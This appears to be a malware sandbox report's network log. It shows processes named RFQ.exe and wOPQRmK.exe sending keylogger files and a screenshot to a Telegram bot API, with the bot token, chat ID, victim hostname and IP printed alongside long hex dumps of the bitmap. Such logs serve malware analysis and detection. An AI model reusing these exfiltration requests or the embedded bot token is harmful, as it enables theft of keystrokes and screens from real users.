2025-03-11 14:33:38 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2025-03-11 14:33:38 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:33:38 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:33:38 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:33:38 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2025-03-11 14:33:38 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:33:38 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:33:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:33:45 GMT Content-Type: application/json Content-Length: 559 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49693	149.154.167.220	443	2724	C:\Users\user\Desktop\RFQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:33:47 UTC	562	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 2845 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:33:47 UTC	2845	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 49 4e 6e 4b 6e 56 68 70 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 31 30 3a 33 33 3a 31 31 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 33 3a 31 32 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 33 3a 32 33 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataINnKnVhp.txt"Content-Type: application/octet-stream[10:33:11]<<Program Manager>>[10:33:12]<<Program Manager>>[10:33:23]<<Program Mana
2025-03-11 14:33:48 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:33:47 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-11 14:33:48 UTC	554	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 31 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 35 30 33 30 32 39 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 73 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 37 33 32 34 35 36 36 36 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4f 62 61 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 62 64 6f 6e 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 37 30 33 36 32 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 Data Ascii: {"ok":true,"result":{"message_id":28148,"from":{"id":7725030292,"is_bot":true,"first_name":"obilogs","username":"obilogssbot"},"chat":{"id":6732456666,"first_name":"Oba1","username":"Obdon1","type":"private"},"date":1741703627,"document":{"file_name":"Key

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49695	149.154.167.220	443	7340	C:\Users\user\AppData\Roaming\wOPQRmK.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:33:47 UTC	562	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3175 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:33:47 UTC	3175	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 4b 42 6e 51 77 4d 77 66 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 31 30 3a 33 33 3a 31 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 33 3a 31 36 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 33 3a 31 36 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataKBnQwMwf.txt"Content-Type: application/octet-stream[10:33:15]<<Program Manager>>[10:33:16]<<Program Manager>>[10:33:16]<<Program Mana
2025-03-11 14:33:48 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:33:48 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-11 14:33:48 UTC	554	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 31 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 35 30 33 30 32 39 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 73 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 37 33 32 34 35 36 36 36 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4f 62 61 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 62 64 6f 6e 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 37 30 33 36 32 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 Data Ascii: {"ok":true,"result":{"message_id":28149,"from":{"id":7725030292,"is_bot":true,"first_name":"obilogs","username":"obilogssbot"},"chat":{"id":6732456666,"first_name":"Oba1","username":"Obdon1","type":"private"},"date":1741703628,"document":{"file_name":"Key

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49698	149.154.167.220	443	2724	C:\Users\user\Desktop\RFQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:33:59 UTC	565	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:33:59 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 4f 74 53 66 63 5a 61 56 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotOtSfcZaV.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2025-03-11 14:33:59 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:33:59 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:33:59 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2025-03-11 14:33:59 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:33:59 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:33:59 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
